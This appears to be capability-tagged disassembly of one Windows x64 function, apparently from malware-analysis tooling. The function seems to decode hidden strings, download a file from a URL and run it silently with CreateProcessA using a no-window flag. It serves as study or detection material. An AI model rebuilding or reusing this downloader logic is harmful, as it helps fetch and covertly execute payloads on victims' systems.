Function at 0x14001b5e6
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x14002c170
push r13
push rbp
push rdi
sub rsp, 0x870
lea r13, [rsp + 0x50]
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
lea rdi, [rsp + 0x50]
mov ecx, 0x178
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140067040]
xor rax, r13
mov qword [rbp + 0x7f0], rax
lea rcx, [0x14007016c]
call fcn.14001c0a4
nop
lea rax, [rbp + 0x474]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x494]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x474]
movzx r8d, byte [rbp + 0x494]
movzx edx, byte [rbp + 0x4b4]
lea rcx, [rbp + 0x400]
call fcn.14001f920
mov rcx, rax
call fcn.14001b221
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14001b794
nop
lea rax, [rbp + 0x514]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x534]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x514]
movzx r8d, byte [rbp + 0x534]
movzx edx, byte [rbp + 0x554]
lea rcx, [rbp + 0x4e0]
call fcn.14001fe80
mov rcx, rax
call fcn.14001b4ce
mov qword [rbp + 0x7b8], rax
lea rcx, [rbp + 0x578]
call fcn.14001bf50
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7d0], rax
lea rdx, [rbp + 0x5b8]
mov rcx, qword [rbp + 0x7d0]
call fcn.14001b2b2
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rbp + 0x7e8], rax
mov r8, qword [rbp + 0x7b8]
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x48]
call fcn.14001bf41
nop
lea rcx, [rbp + 0x5b8]
call fcn.14001b30c
nop
lea rcx, [rbp + 0x578]
call fcn.14001bf3c
nop
lea rcx, [rbp + 0x48]
call fcn.14001b19a
mov qword [rbp + 0x7b8], rax
lea rcx, [rbp + 8]
call fcn.14001b19a
mov qword [rbp + 0x7c0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x7b8]
mov rdx, qword [rbp + 0x7c0]
xor ecx, ecx
call fcn.14001b3b1
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x14002c555
lea rax, [rbp + 0x654]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x674]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x654]
movzx r8d, byte [rbp + 0x674]
movzx edx, byte [rbp + 0x694]
lea rcx, [rbp + 0x600]
call fcn.140020210
mov rcx, rax
call fcn.14001b8f2
mov qword [rbp + 0x7b8], rax
lea rax, [rbp + 0x6e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x704]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x6e4]
movzx r8d, byte [rbp + 0x704]
movzx edx, byte [rbp + 0x724]
lea rcx, [rbp + 0x6c0]
call fcn.1400200f0
mov rcx, rax
call fcn.14001bdf2
lea r8, [rbp + 0x48]
mov rdx, rax
lea rcx, [rbp + 0x748]
call fcn.14001b0af
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7d0], rax
mov r8, qword [rbp + 0x7b8]
mov rdx, qword [rbp + 0x7d0]
lea rcx, [rbp + 0xa8]
call fcn.14001bf41
nop
lea rcx, [rbp + 0x748]
call fcn.14001b30c
nop
mov dword [rbp + 0xf0], 0x68
lea rax, [rbp + 0xf8]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rbp + 0x12c], 1
xor eax, eax
mov word [rbp + 0x130], ax
lea rcx, [rbp + 0xa8]
call fcn.14001b19a
lea rcx, [rbp + 0x178]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14002c548
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x788]
call fcn.14001bd2f
nop
lea rcx, [rbp + 0x788]
call fcn.14001bdd4
nop
lea rcx, [rbp + 0x788]
call fcn.14001bf3c
nop
lea rcx, [rbp + 0xa8]
call fcn.14001b30c
nop
lea rcx, [rbp + 0x48]
call fcn.14001b30c
nop
lea rcx, [rbp + 8]
call fcn.14001b30c
nop
lea rcx, [rbp - 0x50]
lea rdx, [0x14005a480]
call fcn.14001bdb1
mov rcx, qword [rbp + 0x7f0]
xor rcx, r13
call fcn.14001b811
lea rsp, [r13 + 0x820]
pop rdi
pop rbp
pop r13
ret